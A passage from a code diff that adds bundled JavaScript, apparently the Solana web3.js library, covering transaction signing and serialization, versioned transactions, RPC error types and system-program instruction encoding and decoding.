...uniqueSigners); + } + + /** + * @internal + */ + _partialSign(message, ...signers) { + const signData = message.serialize(); + signers.forEach(signer => { + const signature = sign(signData, signer.secretKey); + this._addSignature(signer.publicKey, toBuffer(signature)); + }); + } + + /** + * Add an externally created signature to a transaction. The public key + * must correspond to either the fee payer or a signer account in the transaction + * instructions. + * + * @param {PublicKey} pubkey Public key that will be added to the transaction. + * @param {Buffer} signature An externally created signature to add to the transaction. + */ + addSignature(pubkey, signature) { + this._compile(); // Ensure signatures array is populated + this._addSignature(pubkey, signature); + } + + /** + * @internal + */ + _addSignature(pubkey, signature) { + assert(signature.length === 64); + const index = this.signatures.findIndex(sigpair => pubkey.equals(sigpair.publicKey)); + if (index < 0) { + throw new Error(`unknown signer: ${pubkey.toString()}`); + } + this.signatures[index].signature = Buffer.from(signature); + } + + /** + * Verify signatures of a Transaction + * Optional parameter specifies if we're expecting a fully signed Transaction or a partially signed one. + * If no boolean is provided, we expect a fully signed Transaction by default. + * + * @param {boolean} [requireAllSignatures=true] Require a fully signed Transaction + */ + verifySignatures(requireAllSignatures = true) { + const signatureErrors = this._getMessageSignednessErrors(this.serializeMessage(), requireAllSignatures); + return !signatureErrors; + } + + /** + * @internal + */ + _getMessageSignednessErrors(message, requireAllSignatures) { + const errors = {}; + for (const { + signature, + publicKey + } of this.signatures) { + if (signature === null) { + if (requireAllSignatures) { + (errors.missing ||= []).push(publicKey); + } + } else { + if (!verify(signature, message, publicKey.toBytes())) { + (errors.invalid ||= []).push(publicKey); + } + } + } + return errors.invalid || errors.missing ? errors : undefined; + } + + /** + * Serialize the Transaction in the wire format. + * + * @param {Buffer} [config] Config of transaction. + * + * @returns {Buffer} Signature of transaction in wire format. + */ + serialize(config) { + const { + requireAllSignatures, + verifySignatures + } = Object.assign({ + requireAllSignatures: true, + verifySignatures: true + }, config); + const signData = this.serializeMessage(); + if (verifySignatures) { + const sigErrors = this._getMessageSignednessErrors(signData, requireAllSignatures); + if (sigErrors) { + let errorMessage = 'Signature verification failed.'; + if (sigErrors.invalid) { + errorMessage += `\nInvalid signature for public key${sigErrors.invalid.length === 1 ? '' : '(s)'} [\`${sigErrors.invalid.map(p => p.toBase58()).join('`, `')}\`].`; + } + if (sigErrors.missing) { + errorMessage += `\nMissing signature for public key${sigErrors.missing.length === 1 ? '' : '(s)'} [\`${sigErrors.missing.map(p => p.toBase58()).join('`, `')}\`].`; + } + throw new Error(errorMessage); + } + } + return this._serialize(signData); + } + + /** + * @internal + */ + _serialize(signData) { + const { + signatures + } = this; + const signatureCount = []; + encodeLength(signatureCount, signatures.length); + const transactionLength = signatureCount.length + signatures.length * 64 + signData.length; + const wireTransaction = Buffer.alloc(transactionLength); + assert(signatures.length < 256); + Buffer.from(signatureCount).copy(wireTransaction, 0); + signatures.forEach(({ + signature + }, index) => { + if (signature !== null) { + assert(signature.length === 64, `signature has invalid length`); + Buffer.from(signature).copy(wireTransaction, signatureCount.length + index * 64); + } + }); + signData.copy(wireTransaction, signatureCount.length + signatures.length * 64); + assert(wireTransaction.length <= PACKET_DATA_SIZE, `Transaction too large: ${wireTransaction.length} > ${PACKET_DATA_SIZE}`); + return wireTransaction; + } + + /** + * Deprecated method + * @internal + */ + get keys() { + assert(this.instructions.length === 1); + return this.instructions[0].keys.map(keyObj => keyObj.pubkey); + } + + /** + * Deprecated method + * @internal + */ + get programId() { + assert(this.instructions.length === 1); + return this.instructions[0].programId; + } + + /** + * Deprecated method + * @internal + */ + get data() { + assert(this.instructions.length === 1); + return this.instructions[0].data; + } + + /** + * Parse a wire transaction into a Transaction object. + * + * @param {Buffer | Uint8Array | Array} buffer Signature of wire Transaction + * + * @returns {Transaction} Transaction associated with the signature + */ + static from(buffer) { + // Slice up wire data + let byteArray = [...buffer]; + const signatureCount = decodeLength(byteArray); + let signatures = []; + for (let i = 0; i < signatureCount; i++) { + const signature = guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES); + signatures.push(bs58.encode(Buffer.from(signature))); + } + return Transaction.populate(Message.from(byteArray), signatures); + } + + /** + * Populate Transaction object from message and signatures + * + * @param {Message} message Message of transaction + * @param {Array} signatures List of signatures to assign to the transaction + * + * @returns {Transaction} The populated Transaction + */ + static populate(message, signatures = []) { + const transaction = new Transaction(); + transaction.recentBlockhash = message.recentBlockhash; + if (message.header.numRequiredSignatures > 0) { + transaction.feePayer = message.accountKeys[0]; + } + signatures.forEach((signature, index) => { + const sigPubkeyPair = { + signature: signature == bs58.encode(DEFAULT_SIGNATURE) ? null : bs58.decode(signature), + publicKey: message.accountKeys[index] + }; + transaction.signatures.push(sigPubkeyPair); + }); + message.instructions.forEach(instruction => { + const keys = instruction.accounts.map(account => { + const pubkey = message.accountKeys[account]; + return { + pubkey, + isSigner: transaction.signatures.some(keyObj => keyObj.publicKey.toString() === pubkey.toString()) || message.isAccountSigner(account), + isWritable: message.isAccountWritable(account) + }; + }); + transaction.instructions.push(new TransactionInstruction({ + keys, + programId: message.accountKeys[instruction.programIdIndex], + data: bs58.decode(instruction.data) + })); + }); + transaction._message = message; + transaction._json = transaction.toJSON(); + return transaction; + } +} + +class TransactionMessage { + constructor(args) { + this.payerKey = void 0; + this.instructions = void 0; + this.recentBlockhash = void 0; + this.payerKey = args.payerKey; + this.instructions = args.instructions; + this.recentBlockhash = args.recentBlockhash; + } + static decompile(message, args) { + const { + header, + compiledInstructions, + recentBlockhash + } = message; + const { + numRequiredSignatures, + numReadonlySignedAccounts, + numReadonlyUnsignedAccounts + } = header; + const numWritableSignedAccounts = numRequiredSignatures - numReadonlySignedAccounts; + assert(numWritableSignedAccounts > 0, 'Message header is invalid'); + const numWritableUnsignedAccounts = message.staticAccountKeys.length - numRequiredSignatures - numReadonlyUnsignedAccounts; + assert(numWritableUnsignedAccounts >= 0, 'Message header is invalid'); + const accountKeys = message.getAccountKeys(args); + const payerKey = accountKeys.get(0); + if (payerKey === undefined) { + throw new Error('Failed to decompile message because no account keys were found'); + } + const instructions = []; + for (const compiledIx of compiledInstructions) { + const keys = []; + for (const keyIndex of compiledIx.accountKeyIndexes) { + const pubkey = accountKeys.get(keyIndex); + if (pubkey === undefined) { + throw new Error(`Failed to find key for account key index ${keyIndex}`); + } + const isSigner = keyIndex < numRequiredSignatures; + let isWritable; + if (isSigner) { + isWritable = keyIndex < numWritableSignedAccounts; + } else if (keyIndex < accountKeys.staticAccountKeys.length) { + isWritable = keyIndex - numRequiredSignatures < numWritableUnsignedAccounts; + } else { + isWritable = keyIndex - accountKeys.staticAccountKeys.length < + // accountKeysFromLookups cannot be undefined because we already found a pubkey for this index above + accountKeys.accountKeysFromLookups.writable.length; + } + keys.push({ + pubkey, + isSigner: keyIndex < header.numRequiredSignatures, + isWritable + }); + } + const programId = accountKeys.get(compiledIx.programIdIndex); + if (programId === undefined) { + throw new Error(`Failed to find program id for program id index ${compiledIx.programIdIndex}`); + } + instructions.push(new TransactionInstruction({ + programId, + data: toBuffer(compiledIx.data), + keys + })); + } + return new TransactionMessage({ + payerKey, + instructions, + recentBlockhash + }); + } + compileToLegacyMessage() { + return Message.compile({ + payerKey: this.payerKey, + recentBlockhash: this.recentBlockhash, + instructions: this.instructions + }); + } + compileToV0Message(addressLookupTableAccounts) { + return MessageV0.compile({ + payerKey: this.payerKey, + recentBlockhash: this.recentBlockhash, + instructions: this.instructions, + addressLookupTableAccounts + }); + } +} + +/** + * Versioned transaction class + */ +class VersionedTransaction { + get version() { + return this.message.version; + } + constructor(message, signatures) { + this.signatures = void 0; + this.message = void 0; + if (signatures !== undefined) { + assert(signatures.length === message.header.numRequiredSignatures, 'Expected signatures length to be equal to the number of required signatures'); + this.signatures = signatures; + } else { + const defaultSignatures = []; + for (let i = 0; i < message.header.numRequiredSignatures; i++) { + defaultSignatures.push(new Uint8Array(SIGNATURE_LENGTH_IN_BYTES)); + } + this.signatures = defaultSignatures; + } + this.message = message; + } + serialize() { + const serializedMessage = this.message.serialize(); + const encodedSignaturesLength = Array(); + encodeLength(encodedSignaturesLength, this.signatures.length); + const transactionLayout = BufferLayout.struct([BufferLayout.blob(encodedSignaturesLength.length, 'encodedSignaturesLength'), BufferLayout.seq(signature(), this.signatures.length, 'signatures'), BufferLayout.blob(serializedMessage.length, 'serializedMessage')]); + const serializedTransaction = new Uint8Array(2048); + const serializedTransactionLength = transactionLayout.encode({ + encodedSignaturesLength: new Uint8Array(encodedSignaturesLength), + signatures: this.signatures, + serializedMessage + }, serializedTransaction); + return serializedTransaction.slice(0, serializedTransactionLength); + } + static deserialize(serializedTransaction) { + let byteArray = [...serializedTransaction]; + const signatures = []; + const signaturesLength = decodeLength(byteArray); + for (let i = 0; i < signaturesLength; i++) { + signatures.push(new Uint8Array(guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES))); + } + const message = VersionedMessage.deserialize(new Uint8Array(byteArray)); + return new VersionedTransaction(message, signatures); + } + sign(signers) { + const messageData = this.message.serialize(); + const signerPubkeys = this.message.staticAccountKeys.slice(0, this.message.header.numRequiredSignatures); + for (const signer of signers) { + const signerIndex = signerPubkeys.findIndex(pubkey => pubkey.equals(signer.publicKey)); + assert(signerIndex >= 0, `Cannot sign with non signer key ${signer.publicKey.toBase58()}`); + this.signatures[signerIndex] = sign(messageData, signer.secretKey); + } + } + addSignature(publicKey, signature) { + assert(signature.byteLength === 64, 'Signature must be 64 bytes long'); + const signerPubkeys = this.message.staticAccountKeys.slice(0, this.message.header.numRequiredSignatures); + const signerIndex = signerPubkeys.findIndex(pubkey => pubkey.equals(publicKey)); + assert(signerIndex >= 0, `Can not add signature; \`${publicKey.toBase58()}\` is not required to sign this transaction`); + this.signatures[signerIndex] = signature; + } +} + +// TODO: These constants should be removed in favor of reading them out of a +// Syscall account + +/** + * @internal + */ +const NUM_TICKS_PER_SECOND = 160; + +/** + * @internal + */ +const DEFAULT_TICKS_PER_SLOT = 64; + +/** + * @internal + */ +const NUM_SLOTS_PER_SECOND = NUM_TICKS_PER_SECOND / DEFAULT_TICKS_PER_SLOT; + +/** + * @internal + */ +const MS_PER_SLOT = 1000 / NUM_SLOTS_PER_SECOND; + +const SYSVAR_CLOCK_PUBKEY = new PublicKey('SysvarC1ock11111111111111111111111111111111'); +const SYSVAR_EPOCH_SCHEDULE_PUBKEY = new PublicKey('SysvarEpochSchedu1e111111111111111111111111'); +const SYSVAR_INSTRUCTIONS_PUBKEY = new PublicKey('Sysvar1nstructions1111111111111111111111111'); +const SYSVAR_RECENT_BLOCKHASHES_PUBKEY = new PublicKey('SysvarRecentB1ockHashes11111111111111111111'); +const SYSVAR_RENT_PUBKEY = new PublicKey('SysvarRent111111111111111111111111111111111'); +const SYSVAR_REWARDS_PUBKEY = new PublicKey('SysvarRewards111111111111111111111111111111'); +const SYSVAR_SLOT_HASHES_PUBKEY = new PublicKey('SysvarS1otHashes111111111111111111111111111'); +const SYSVAR_SLOT_HISTORY_PUBKEY = new PublicKey('SysvarS1otHistory11111111111111111111111111'); +const SYSVAR_STAKE_HISTORY_PUBKEY = new PublicKey('SysvarStakeHistory1111111111111111111111111'); + +class SendTransactionError extends Error { + constructor({ + action, + signature, + transactionMessage, + logs + }) { + const maybeLogsOutput = logs ? `Logs: \n${JSON.stringify(logs.slice(-10), null, 2)}. ` : ''; + const guideText = '\nCatch the `SendTransactionError` and call `getLogs()` on it for full details.'; + let message; + switch (action) { + case 'send': + message = `Transaction ${signature} resulted in an error. \n` + `${transactionMessage}. ` + maybeLogsOutput + guideText; + break; + case 'simulate': + message = `Simulation failed. \nMessage: ${transactionMessage}. \n` + maybeLogsOutput + guideText; + break; + default: + { + message = `Unknown action '${(a => a)(action)}'`; + } + } + super(message); + this.signature = void 0; + this.transactionMessage = void 0; + this.transactionLogs = void 0; + this.signature = signature; + this.transactionMessage = transactionMessage; + this.transactionLogs = logs ? logs : undefined; + } + get transactionError() { + return { + message: this.transactionMessage, + logs: Array.isArray(this.transactionLogs) ? this.transactionLogs : undefined + }; + } + + /* @deprecated Use `await getLogs()` instead */ + get logs() { + const cachedLogs = this.transactionLogs; + if (cachedLogs != null && typeof cachedLogs === 'object' && 'then' in cachedLogs) { + return undefined; + } + return cachedLogs; + } + async getLogs(connection) { + if (!Array.isArray(this.transactionLogs)) { + this.transactionLogs = new Promise((resolve, reject) => { + connection.getTransaction(this.signature).then(tx => { + if (tx && tx.meta && tx.meta.logMessages) { + const logs = tx.meta.logMessages; + this.transactionLogs = logs; + resolve(logs); + } else { + reject(new Error('Log messages not found')); + } + }).catch(reject); + }); + } + return await this.transactionLogs; + } +} + +// Keep in sync with client/src/rpc_custom_errors.rs +// Typescript `enums` thwart tree-shaking. See https://bargsten.org/jsts/enums/ +const SolanaJSONRPCErrorCode = { + JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP: -32001, + JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE: -32002, + JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE: -32003, + JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE: -32004, + JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY: -32005, + JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE: -32006, + JSON_RPC_SERVER_ERROR_SLOT_SKIPPED: -32007, + JSON_RPC_SERVER_ERROR_NO_SNAPSHOT: -32008, + JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED: -32009, + JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX: -32010, + JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE: -32011, + JSON_RPC_SCAN_ERROR: -32012, + JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH: -32013, + JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET: -32014, + JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION: -32015, + JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED: -32016 +}; +class SolanaJSONRPCError extends Error { + constructor({ + code, + message, + data + }, customMessage) { + super(customMessage != null ? `${customMessage}: ${message}` : message); + this.code = void 0; + this.data = void 0; + this.code = code; + this.data = data; + this.name = 'SolanaJSONRPCError'; + } +} + +/** + * Sign, send and confirm a transaction. + * + * If `commitment` option is not specified, defaults to 'max' commitment. + * + * @param {Connection} connection + * @param {Transaction} transaction + * @param {Array} signers + * @param {ConfirmOptions} [options] + * @returns {Promise} + */ +async function sendAndConfirmTransaction(connection, transaction, signers, options) { + const sendOptions = options && { + skipPreflight: options.skipPreflight, + preflightCommitment: options.preflightCommitment || options.commitment, + maxRetries: options.maxRetries, + minContextSlot: options.minContextSlot + }; + const signature = await connection.sendTransaction(transaction, signers, sendOptions); + let status; + if (transaction.recentBlockhash != null && transaction.lastValidBlockHeight != null) { + status = (await connection.confirmTransaction({ + abortSignal: options?.abortSignal, + signature: signature, + blockhash: transaction.recentBlockhash, + lastValidBlockHeight: transaction.lastValidBlockHeight + }, options && options.commitment)).value; + } else if (transaction.minNonceContextSlot != null && transaction.nonceInfo != null) { + const { + nonceInstruction + } = transaction.nonceInfo; + const nonceAccountPubkey = nonceInstruction.keys[0].pubkey; + status = (await connection.confirmTransaction({ + abortSignal: options?.abortSignal, + minContextSlot: transaction.minNonceContextSlot, + nonceAccountPubkey, + nonceValue: transaction.nonceInfo.nonce, + signature + }, options && options.commitment)).value; + } else { + if (options?.abortSignal != null) { + console.warn('sendAndConfirmTransaction(): A transaction with a deprecated confirmation strategy was ' + 'supplied along with an `abortSignal`. Only transactions having `lastValidBlockHeight` ' + 'or a combination of `nonceInfo` and `minNonceContextSlot` are abortable.'); + } + status = (await connection.confirmTransaction(signature, options && options.commitment)).value; + } + if (status.err) { + if (signature != null) { + throw new SendTransactionError({ + action: 'send', + signature: signature, + transactionMessage: `Status: (${JSON.stringify(status)})` + }); + } + throw new Error(`Transaction ${signature} failed (${JSON.stringify(status)})`); + } + return signature; +} + +// zzz +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +/** + * @internal + */ + +/** + * Populate a buffer of instruction data using an InstructionType + * @internal + */ +function encodeData(type, fields) { + const allocLength = type.layout.span >= 0 ? type.layout.span : getAlloc(type, fields); + const data = Buffer.alloc(allocLength); + const layoutFields = Object.assign({ + instruction: type.index + }, fields); + type.layout.encode(layoutFields, data); + return data; +} + +/** + * Decode instruction data buffer using an InstructionType + * @internal + */ +function decodeData$1(type, buffer) { + let data; + try { + data = type.layout.decode(buffer); + } catch (err) { + throw new Error('invalid instruction; ' + err); + } + if (data.instruction !== type.index) { + throw new Error(`invalid instruction; instruction index mismatch ${data.instruction} != ${type.index}`); + } + return data; +} + +/** + * https://github.com/solana-labs/solana/blob/90bedd7e067b5b8f3ddbb45da00a4e9cabb22c62/sdk/src/fee_calculator.rs#L7-L11 + * + * @internal + */ +const FeeCalculatorLayout = BufferLayout.nu64('lamportsPerSignature'); + +/** + * Calculator for transaction fees. + * + * @deprecated Deprecated since Solana v1.8.0. + */ + +/** + * See https://github.com/solana-labs/solana/blob/0ea2843ec9cdc517572b8e62c959f41b55cf4453/sdk/src/nonce_state.rs#L29-L32 + * + * @internal + */ +const NonceAccountLayout = BufferLayout.struct([BufferLayout.u32('version'), BufferLayout.u32('state'), publicKey('authorizedPubkey'), publicKey('nonce'), BufferLayout.struct([FeeCalculatorLayout], 'feeCalculator')]); +const NONCE_ACCOUNT_LENGTH = NonceAccountLayout.span; + +/** + * A durable nonce is a 32 byte value encoded as a base58 string. + */ + +/** + * NonceAccount class + */ +class NonceAccount { + /** + * @internal + */ + constructor(args) { + this.authorizedPubkey = void 0; + this.nonce = void 0; + this.feeCalculator = void 0; + this.authorizedPubkey = args.authorizedPubkey; + this.nonce = args.nonce; + this.feeCalculator = args.feeCalculator; + } + + /** + * Deserialize NonceAccount from the account data. + * + * @param buffer account data + * @return NonceAccount + */ + static fromAccountData(buffer) { + const nonceAccount = NonceAccountLayout.decode(toBuffer(buffer), 0); + return new NonceAccount({ + authorizedPubkey: new PublicKey(nonceAccount.authorizedPubkey), + nonce: new PublicKey(nonceAccount.nonce).toString(), + feeCalculator: nonceAccount.feeCalculator + }); + } +} + +const encodeDecode = layout => { + const decode = layout.decode.bind(layout); + const encode = layout.encode.bind(layout); + return { + decode, + encode + }; +}; +const bigInt = length => property => { + const layout = blob(length, property); + const { + encode, + decode + } = encodeDecode(layout); + const bigIntLayout = layout; + bigIntLayout.decode = (buffer, offset) => { + const src = decode(buffer, offset); + return toBigIntLE(Buffer.from(src)); + }; + bigIntLayout.encode = (bigInt, buffer, offset) => { + const src = toBufferLE(bigInt, length); + return encode(src, buffer, offset); + }; + return bigIntLayout; +}; +const u64 = bigInt(8); + +/** + * Create account system transaction params + */ + +/** + * Transfer system transaction params + */ + +/** + * Assign system transaction params + */ + +/** + * Create account with seed system transaction params + */ + +/** + * Create nonce account system transaction params + */ + +/** + * Create nonce account with seed system transaction params + */ + +/** + * Initialize nonce account system instruction params + */ + +/** + * Advance nonce account system instruction params + */ + +/** + * Withdraw nonce account system transaction params + */ + +/** + * Authorize nonce account system transaction params + */ + +/** + * Allocate account system transaction params + */ + +/** + * Allocate account with seed system transaction params + */ + +/** + * Assign account with seed system transaction params + */ + +/** + * Transfer with seed system transaction params + */ + +/** Decoded transfer system transaction instruction */ + +/** Decoded transferWithSeed system transaction instruction */ + +/** + * System Instruction class + */ +class SystemInstruction { + /** + * @internal + */ + constructor() {} + + /** + * Decode a system instruction and retrieve the instruction type. + */ + static decodeInstructionType(instruction) { + this.checkProgramId(instruction.programId); + const instructionTypeLayout = BufferLayout.u32('instruction'); + const typeIndex = instructionTypeLayout.decode(instruction.data); + let type; + for (const [ixType, layout] of Object.entries(SYSTEM_INSTRUCTION_LAYOUTS)) { + if (layout.index == typeIndex) { + type = ixType; + break; + } + } + if (!type) { + throw new Error('Instruction type incorrect; not a SystemInstruction'); + } + return type; + } + + /** + * Decode a create account system instruction and retrieve the instruction params. + */ + static decodeCreateAccount(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + lamports, + space, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Create, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + newAccountPubkey: instruction.keys[1].pubkey, + lamports, + space, + programId: new PublicKey(programId) + }; + } + + /** + * Decode a transfer system instruction and retrieve the instruction params. + */ + static decodeTransfer(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + lamports + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Transfer, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + toPubkey: instruction.keys[1].pubkey, + lamports + }; + } + + /** + * Decode a transfer with seed system instruction and retrieve the instruction params. + */ + static decodeTransferWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + lamports, + seed, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + basePubkey: instruction.keys[1].pubkey, + toPubkey: instruction.keys[2].pubkey, + lamports, + seed, + programId: new PublicKey(programId) + }; + } + + /** + * Decode an allocate system instruction and retrieve the instruction params. + */ + static decodeAllocate(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + space + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Allocate, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + space + }; + } + + /** + * Decode an allocate with seed system instruction and retrieve the instruction params. + */ + static decodeAllocateWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + base, + seed, + space, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + basePubkey: new PublicKey(base), + seed, + space, + programId: new PublicKey(programId) + }; + } + + /** + * Decode an assign system instruction and retrieve the instruction params. + */ + static decodeAssign(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.Assign, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + programId: new PublicKey(programId) + }; + } + + /** + * Decode an assign with seed system instruction and retrieve the instruction params. + */ + static decodeAssignWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 1); + const { + base, + seed, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed, instruction.data); + return { + accountPubkey: instruction.keys[0].pubkey, + basePubkey: new PublicKey(base), + seed, + programId: new PublicKey(programId) + }; + } + + /** + * Decode a create account with seed system instruction and retrieve the instruction params. + */ + static decodeCreateWithSeed(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + base, + seed, + lamports, + space, + programId + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed, instruction.data); + return { + fromPubkey: instruction.keys[0].pubkey, + newAccountPubkey: instruction.keys[1].pubkey, + basePubkey: new PublicKey(base), + seed, + lamports, + space, + programId: new PublicKey(programId) + }; + } + + /** + * Decode a nonce initialize system instruction and retrieve the instruction params. + */ + static decodeNonceInitialize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + const { + authorized + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + authorizedPubkey: new PublicKey(authorized) + }; + } + + /** + * Decode a nonce advance system instruction and retrieve the instruction params. + */ + static decodeNonceAdvance(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 3); + decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[2].pubkey + }; + } + + /** + * Decode a nonce withdraw system instruction and retrieve the instruction params. + */ + static decodeNonceWithdraw(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 5); + const { + lamports + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + toPubkey: instruction.keys[1].pubkey, + authorizedPubkey: instruction.keys[4].pubkey, + lamports + }; + } + + /** + * Decode a nonce authorize system instruction and retrieve the instruction params. + */ + static decodeNonceAuthorize(instruction) { + this.checkProgramId(instruction.programId); + this.checkKeyLength(instruction.keys, 2); + const { + authorized + } = decodeData$1(SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount, instruction.data); + return { + noncePubkey: instruction.keys[0].pubkey, + authorizedPubkey: instruction.keys[1].pubkey, + newAuthorizedPubkey: new PublicKey(authorized) + }; + } + + /** + * @internal + */ + static checkProgramId(programId) { + if (!programId.equals(SystemProgram.programId)) { + throw new Error('invalid instruction; programId is not SystemProgram'); + } + } + + /** + * @internal + */ + static checkKeyLength(keys, expectedLength) { + if (keys.length < expectedLength) { + throw new Error(`invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`); + } + } +} + +/** + * An enumeration of valid SystemInstructionType's + */ + +/** + * An enumeration of valid system InstructionType's + * @internal + */ +const SYSTEM_INSTRUCTION_LAYOUTS = Object.freeze({ + Create: { + index: 0, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports'), BufferLayout.ns64('space'), publicKey('programId')]) + }, + Assign: { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('programId')]) + }, + Transfer: { + index: 2, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64('lamports')]) + }, + CreateWithSeed: { + index: 3, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('base'), rustString('seed'), BufferLayout.ns64('lamports'), BufferLayout.ns64('space'), publicKey('programId')]) + }, + AdvanceNonceAccount: { + index: 4, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + }, + WithdrawNonceAccount: { + index: 5, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]) + }, + InitializeNonceAccount: { + index: 6, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('authorized')]) + }, + AuthorizeNonceAccount: { + index: 7, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('authorized')]) + }, + Allocate: { + index: 8, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), BufferLayout.ns64('space')]) + }, + AllocateWithSeed: { + index: 9, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('base'), rustString('seed'), BufferLayout.ns64('space'), publicKey('programId')]) + }, + AssignWithSeed: { + index: 10, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), publicKey('base'), rustString('seed'), publicKey('programId')]) + }, + TransferWithSeed: { + index: 11, + layout: BufferLayout.struct([BufferLayout.u32('instruction'), u64('lamports'), rustString('seed'), publicKey('programId')]) + }, + UpgradeNonceAccount: { + index: 12, + layout: BufferLayout.struct([BufferLayout.u32('instruction')]) + } +}); + +/** + * Factory class for transactions to interact with the System program + */ +class SystemProgram { + /** + * @internal + */ + constructor() {} + + /** + * Public key that identifies the System program + */ + + /** + * Generate a transaction instruction that creates a new account + */ + static createAccount(params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Create; + const data = encodeData(type, { + lamports: params.lamports, + space: params.space, + programId: toBuffer(params.programId.toBuffer()) + }); + return new TransactionInstruction({ + keys: [{ + pubkey: params.fromPubkey, + isSigner: true, + isWritable: true + }, { + pubkey: params.newAccountPubkey, + isSigner: true, + isWritable: true + }], + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that transfers lamports from one account to another + */ + static transfer(params) { + let data; + let keys; + if ('basePubkey' in params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed; + data = encodeData(type, { + lamports: BigInt(params.lamports), + seed: params.seed, + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.fromPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }, { + pubkey: params.toPubkey, + isSigner: false, + isWritable: true + }]; + } else { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Transfer; + data = encodeData(type, { + lamports: BigInt(params.lamports) + }); + keys = [{ + pubkey: params.fromPubkey, + isSigner: true, + isWritable: true + }, { + pubkey: params.toPubkey, + isSigner: false, + isWritable: true + }]; + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that assigns an account to a program + */ + static assign(params) { + let data; + let keys; + if ('basePubkey' in params) { + const type = SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed; + data = encodeData(type, { + base: toBuffer(params.basePubkey.toBuffer()), + seed: params.seed, + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: params.basePubkey, + isSigner: true, + isWritable: false + }]; + } else { + const type = SYSTEM_INSTRUCTION_LAYOUTS.Assign; + data = encodeData(type, { + programId: toBuffer(params.programId.toBuffer()) + }); + keys = [{ + pubkey: params.accountPubkey, + isSigner: true, + isWritable: true + }]; + } + return new TransactionInstruction({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction instruction that creates a 